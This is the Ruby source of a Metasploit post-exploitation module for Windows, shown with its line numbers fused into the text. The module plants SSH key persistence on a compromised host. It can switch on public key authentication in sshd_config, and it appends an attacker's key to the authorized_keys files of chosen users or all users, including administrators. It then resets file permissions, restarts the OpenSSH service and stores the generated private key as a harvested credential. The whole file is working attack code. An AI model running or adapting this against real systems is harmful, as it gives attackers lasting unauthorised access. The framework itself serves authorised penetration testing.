Path: blob/master/modules/post/windows/manage/sshkey_persistence.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Post8Rank = GoodRanking910include Msf::Post::File11include Msf::Post::Windows::UserProfiles1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'SSH Key Persistence',18'Description' => %q{19This module will add an SSH key to a specified user (or all), to allow20remote login via SSH at any time.21},22'License' => MSF_LICENSE,23'Author' => [24'Dean Welch <dean_welch[at]rapid7.com>'25],26'Platform' => [ 'windows' ],27'SessionTypes' => [ 'meterpreter', 'shell' ],28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31stdapi_fs_mkdir32stdapi_fs_separator33]34}35},36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [ARTIFACTS_ON_DISK],39'Reliability' => []40}41)42)4344register_options(45[46OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),47OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),48OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]),49OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]),50OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]),51OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]),52OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])53]54)55end5657def run58sep = separator5960sshd_config = read_file(datastore['SSHD_CONFIG'])6162print_status('Checking SSH Permissions')63if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG']64enable_pub_key_auth(sshd_config)65end6667auth_key_file = auth_key_file_name(sshd_config)6869print_status("Authorized Keys File: #{auth_key_file}")7071auth_key_folder = auth_key_file.split('/')[0...-1].join(sep)72auth_key_file = auth_key_file.split('/')[-1]7374paths = []75if datastore['USERNAME']76grab_user_profiles.each do |profile|77paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME']78end79end8081if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location82admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep)83admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1]8485print_status("Admin Authorized Keys File: #{admin_auth_key_file}")8687write_key([admin_auth_key_folder], admin_auth_key_file, sep)88end8990if !datastore['USERNAME'] && !datastore['ADMIN']91grab_user_profiles.each do |profile|92paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}"93end94end9596if datastore['CREATESSHFOLDER'] == true97create_ssh_folder(paths)98end99100paths = paths.select { |d| directory?(d) }101unless paths.empty?102write_key(paths, auth_key_file, sep)103end104105restart_openssh106end107108def enable_pub_key_auth(sshd_config)109sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')110write_file(datastore['SSHD_CONFIG'], sshd_config)111end112113def pub_key_auth_allowed?(sshd_config)114/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config115if pub_key && pub_key == 'no'116print_error('Pubkey Authentication disabled')117elsif pub_key118vprint_good("Pubkey set to #{pub_key}")119end120end121122def auth_key_file_name(sshd_config)123%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config124if auth_key_file125auth_key_file = auth_key_file.gsub('%h', '')126auth_key_file = auth_key_file.gsub('%%', '%')127if auth_key_file.start_with? '/'128auth_key_file = auth_key_file[1..]129end130else131auth_key_file = '.ssh/authorized_keys'132end133auth_key_file134end135136def create_ssh_folder(paths)137vprint_status("Attempting to create ssh folders that don't exist")138paths.each do |p|139unless directory?(p)140print_status("Creating #{p} folder")141session.fs.dir.mkdir(p)142end143end144end145146def restart_openssh147cmd_exec('net stop "OpenSSH SSH Server"')148cmd_exec('net start "OpenSSH SSH Server"')149end150151def set_pub_key_file_permissions(file)152cmd_exec("icacls #{file} /inheritance:r")153cmd_exec("icacls #{file} /grant SYSTEM:(F)")154cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")155end156157def separator158if session.type == 'meterpreter'159sep = session.fs.file.separator160else161# Guess, but it's probably right162sep = '\\'163end164sep165end166167def write_key(paths, auth_key_file, sep)168if datastore['PUBKEY'].nil?169key = SSHKey.generate170our_pub_key = key.ssh_public_key171loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')172print_good("Storing new private key as #{loot_path}")173else174our_pub_key = ::File.read(datastore['PUBKEY'])175end176paths.each do |path|177path.chomp!178authorized_keys = "#{path}#{sep}#{auth_key_file}"179print_status("Adding key to #{authorized_keys}")180append_file(authorized_keys, "\n#{our_pub_key}")181print_good('Key Added')182set_pub_key_file_permissions(authorized_keys)183next unless datastore['PUBKEY'].nil?184185path_array = path.split(sep)186path_array.pop187user = path_array.pop188credential_data = {189origin_type: :session,190session_id: session_db_id,191post_reference_name: refname,192private_type: :ssh_key,193private_data: key.private_key.to_s,194username: user,195workspace_id: myworkspace_id196}197198create_credential(credential_data)199end200end201end202203204